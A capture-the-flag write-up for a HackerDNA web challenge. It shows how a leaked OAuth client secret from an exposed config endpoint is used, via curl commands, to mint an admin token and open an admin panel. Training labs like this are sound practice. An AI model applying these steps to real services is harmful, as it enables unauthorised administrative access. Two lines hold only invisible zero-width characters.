Token Trust

Platform: hackerdna | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-19 | Status: Solved Techniques: API version discovery, Credential extraction from exposed config endpoint, JWT admin token minting, OAuth client_credentials grant abuse, robots.txt endpoint enumeration

Summary

Task: OAuth 2.0 authentication portal with exposed config endpoint. Solution: Extract client credentials from /api/v1/config, use client_credentials grant to mint admin JWT token, access /admin panel.

Token Trust — HackerDNA

Description

CloudVault Authentication Portal (nginx/1.28.2, v2.1.3) — an OAuth 2.0-based authentication service. The development team made a critical mistake: the configuration endpoint exposes OAuth client credentials, and the client_credentials grant type, intended exclusively for trusted backend services, is enabled on the public interface.

Target: 34.251.228.90

Analysis

1. Reconnaissance — Nmap

Port scanning revealed:

2. Endpoint Discovery

3. Critical Leak — /api/v1/config

 json read-only • copy allowed Copy
{
  "oauth": {
    "client_id": "cloudvault_web_client_2024",
    "client_secret": "cvs_secret_k8s_prod_2024_xK9mP7nQ",
    "enabled": true,
    "supported_grants": ["authorization_code", "client_credentials", "refresh_token"],
    "token_endpoint": "/oauth/token",
    "token_expiry": "24h"
  }
}

Solution

Step 1: Generate admin token via client_credentials grant

 bash read-only • copy allowed Copy
curl -s -X POST http://34.251.228.90/oauth/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=cloudvault_web_client_2024&client_secret=cvs_secret_k8s_prod_2024_xK9mP7nQ"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Access admin panel

 bash read-only • copy allowed Copy
curl -s http://34.251.228.90/admin \
  -H "Authorization: Bearer $TOKEN"

 json read-only • copy allowed Copy
{
  "flag": "REDACTED",
  "message": "Admin panel access granted",
  "scope": "admin",
  "user": "cloudvault_web_client_2024"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍